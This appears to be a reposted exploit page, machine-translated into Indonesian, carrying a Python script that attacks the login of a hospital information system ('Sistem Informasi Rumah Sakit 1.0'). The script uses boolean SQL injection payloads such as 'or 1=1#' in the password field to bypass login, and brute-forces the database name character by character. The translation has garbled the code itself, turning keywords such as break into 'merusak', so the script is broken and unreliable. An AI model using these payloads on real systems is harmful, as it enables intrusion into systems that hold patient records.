Sistem Informasi Rumah Sakit 1.0 SQL Injection

  • Whatsapp
Ethercreative Logs 3.0.3 Path Traversal
Ethercreative Logs Path Traversal

News.nextcloud.asia

# Judul Eksploitasi: Sistem Informasi Rumah Sakit – Injeksi SQL melalui halaman login
# Tanggal: 25/07/2022
# Eksploitasi Penulis: saitamang
# Beranda Vendor: https://code-projects.org
# Tautan Perangkat Lunak: https://download-media.code-projects.org/2019/11/HOSPITAL_INFORMATION_SYSTEM_IN_PHP_WITH_SOURCE_CODE.zip
# Versi: 1.0
# Diuji pada: Centos 7 Apache2 + MySQL

permintaan impor, string, sys, peringatan, waktu, bersamaan.futures
dari request.packages.urllib3.exceptions impor InsecureRequestWarning
warnings.simplefilter(‘ignore’,InsecureRequestWarning)

nama db=””

req = permintaan.Sesi()

def login (ip, nama pengguna, kata sandi):
target = “http://%s/HIS/includes/users/UsersController.php” %ip

data = {‘type’:’login’,’username’:username,’password’:password}
respon = req.post(target, data=data)

jika ‘berhasil’ di response.text:
mencetak(“[$] Sukses Login dengan kredensial “+nama pengguna+”:”+sandi+””)
kalau tidak:
mencetak(“[$] Gagal Login dengan kredensial “+username+”:”+password+””)

def check_injection():
# perpustakaan inj
test_query0 = “‘atau 1=2#”
test_query1 = “‘atau 1=1#”

target = “http://%s/HIS/includes/users/UsersController.php” %ip

hasil = “”

untuk saya dalam rentang (2):

jika saya==0:
data = {‘type’:’login’,’username’:username,’password’:test_query0}
respon = req.post(target, data=data)
if response.text==”berhasil”:
hasil = respon.teks
kalau tidak:
lulus
jika saya ==1:
data = {‘type’:’login’, ‘username’:username,’password’:test_query1}
respon = req.post(target, data=data)
if response.text==”berhasil”:
hasil = respon.teks
kalau tidak:
lulus
jika hasil = “berhasil”:
mencetak(“[##] SQLI Berbasis Boolean Hadir di bidang kata sandi :)”)
kalau tidak:
mencetak(“[##] Tidak ada SQLI :)”)

def brute (nama db):
target = “http://%s/HIS/includes/users/UsersController.php” %ip

l=0

tidak = [int(a) for a in str(string.digits)]
# memeriksa panjang dbname
untuk saya di no: #0-9

payload = “‘atau 1=1 dan panjang(database())='”+ str(i) +”‘#”
#cetak(muatan)

data = {‘type’:’login’,’username’:username,’password’:payload}
respon = req.post(target, data=data)
hasil = respon.teks

jika hasil = “berhasil”:
mencetak(“[##] Panjang nama DB yang benar adalah “+str(i))
l=i
merusak
kalau tidak:
mencetak(“[##] Panjang nama DB “+str(i)+” salah”)
lulus

arang = [char for char in string.ascii_lowercase]
nama db = []

untuk saya dalam rentang (l):
untuk j di char:
payload = “‘atau 1=1 dan substring(database(),” + str(i+1) + “,1)='” + str(j) +”‘#”

data = {‘type’:’login’,’username’:username,’password’:payload}
respon = req.post(target, data=data)
hasil = respon.teks

jika hasil = “berhasil”:
dbname.append(j)
mencetak(“[+] Karakter ” + str(i+1) + ” dari nama DB adalah “+str(j))
merusak
kalau tidak:
lulus

dbname=””.join(dbname)

mencetak(“[+] Nama database diambil –> “+dbname)
mencetak(“[+] Lewati selesai :)”)
mencetak(“[+] Bypass payload yang bisa digunakan adalah \n’atau 1=1#”)

kata sandi = “‘atau 1=1#”
print(“\nCoba lagi login dengan payload baru di kolom password”)
login (ip, nama pengguna, kata sandi)

jika __name__ == “__main__”:
print(“_____ _ __”)
print(” / _/____ _(_) /_____ _____ ___ ____ _____ ____ _”)
print(” \__ \/ __ `/ / __/ __ `/ __ `__ \/ __ `/ __ \/ __ `/”)
print(” _/ / /_/ / / /_/ /_/ / / / / / /_/ / / / /_/ / “)
print(“/____/\__,_/_/\__/\__,_/_/ /_/ /_/\__,_/_/ /_/\__, / “)
print(” /____/ \n\n”)

mencoba:
ip = sys.argv[1].mengupas()
nama pengguna = sys.argv[2].mengupas()
kata sandi = sys.argv[3].mengupas()

login (ip, nama pengguna, kata sandi)
periksa_injeksi()
kasar (nama db)

kecuali IndexError:
mencetak(“[-] Penggunaan %s ” % sys.argv[0])
mencetak(“[-] Contoh: %s 192.168.100.x admin admin123” % sys.argv[0])
sys.keluar(-1)

Pos terkait

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan.